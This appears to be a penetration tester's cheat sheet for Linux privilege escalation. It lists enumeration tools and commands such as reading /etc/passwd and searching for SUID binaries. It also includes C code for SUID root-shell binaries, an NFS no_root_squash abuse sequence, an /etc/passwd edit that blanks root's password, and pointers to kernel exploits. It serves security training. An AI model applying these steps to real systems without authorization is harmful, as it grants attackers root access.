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Overview

Guides

GTFOBins

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. GTFOBins

Automated

LinPEAS

Linux Privilege Escalation Awesome Script PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub

LinEnum

Scripted Local Linux Enumeration & Privilege Escalation Checks GitHub - rebootuser/LinEnum

Linux Smart Enumeration (LSE)

Linux enumeration tool for pentesting and CTFs with verbosity levels GitHub - diego-treitos/linux-smart-enumeration

Linux Exploit Suggester (LES)

Linux privilege escalation auditing tool GitHub - mzet-/linux-exploit-suggester

linuxprivchecker.py

A Linux Privilege Escalation Check Script GitHub - sleventyeleven/linuxprivchecker

Unix-privesc-check

Unix-privesc-checker is a script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD 6.2). It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases). unix-privesc-check | Kali Linux Tools

Manual

Kernel exploits

Get linux/kernel version E.g. Linux kali 5.14.0-kali2-arm64 #1 SMP Debian 5.14.9-2kali1 (2021-10-04) aarch64 GNU/Linux

uname -a

Get "marketing" name of distribution E.g. Ubuntu 20.04.1 LTS

cat /etc/issue

Get stuff like gcc E.g. Linux version 5.14.0-kali2-arm64 (devel@kali.org) (gcc-10 (Debian 10.3.0-11) 10.3.0, GNU ld (GNU Binutils for Debian) 2.37) #1 SMP Debian 5.14.9-2kali1 (2021-10-04)

cat /proc/version

-> Use searchsploit (exploit-db.com), Google, GitHub, etc. to check for public available kernel exploits.

Manual information gathering

Operating system

uname -a
cat /etc/issue 
cat /proc/version
cat /etc/*-release

Users

Info about current user

id

Check for other users (non-service users normally start at id 1000)

cat /etc/passwd

Filter users with a login shell

grep -vE "nologin|false" /etc/passwd

Groups

Interesting unix groups

  • 44(video) <- has access to video output (weird stuff)

  • 6(disk) <- has raw access to the file system, read disk using e.g. debugfs

Sudo

Check current privilege status

sudo -l

Todo: LD_PRELOAD https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/

SUID

Find files that have SUID or SGID bit set

find / -type f -perm -04000 -ls 2>/dev/null

Capabilities

List enabled capabilities

getcap -r / 2>/dev/null

Cron Jobs

cat /etc/crontab

NFS

Check for no_root_squash option in

cat /etc/exports

Mount share

mkdir /tmp/share
mount -o rw <ip>:/share /tmp/share
cd /tmp/share

Create SUID binary

int main()
{
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}

Compile it, set SUID bit

gcc binary.c binary -w
chmod +s binary

Run it on target

./binary

Processing running

See also: PSPY

ps aux

-> Is there something special, maybe related to the users found?

Network

netstat -antup

-> Is any service running, we missed in the port scan (firewall?)

Packages

Debian

dpkg -l

CentOS, OpenSuse, Fedora, RHEL

rpm -qa (CentOS / openSUSE )

OpenBSD, FreeBSD

pkg_info

Check for manually installed stuff

/var/
/opt/
/usr/local
/usr/local/bin
/usr/local/src
/usr/src
/home/<username>

Weak services

Look for files that have root privileges but are writeable for everyone -> replace file with exploit

Check tools potentially vulnerable to priv esc

which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null

setuid

Check if available mount -> must not have nosuid

mount | grep -vE "nosuid"

setuid.c

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

Alternative setuid.c

int main(int argc, char *argv[]) {
    setreuid(0, 0);
    execve("/bin/sh", NULL, NULL);
}

TODO: This doesn't seem to be working.. Did it ever? Where did I get this from? PWK? 😬

gcc setuid.c -o setuid
sudo chown root:root /tmp/setuid; sudo chmod 4755 /tmp/setuid

Writable /etc/passwd

Change root, remove the x (password flag) root:x:0:0:root:/root:/bin/bash -> root::0:0:root:/root:/bin/bash su -> root

linux - Privilege escalation using passwd file - Information Security Stack Exchange

Public exploits

Dirty COW

Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel

Rational Love

glibc - 'getcwd()' Local Privilege Escalation 2018 local root exploit local-root-exploits/linux/CVE-2018-1000001 at master · 5H311-1NJ3C706/local-root-exploits · GitHub

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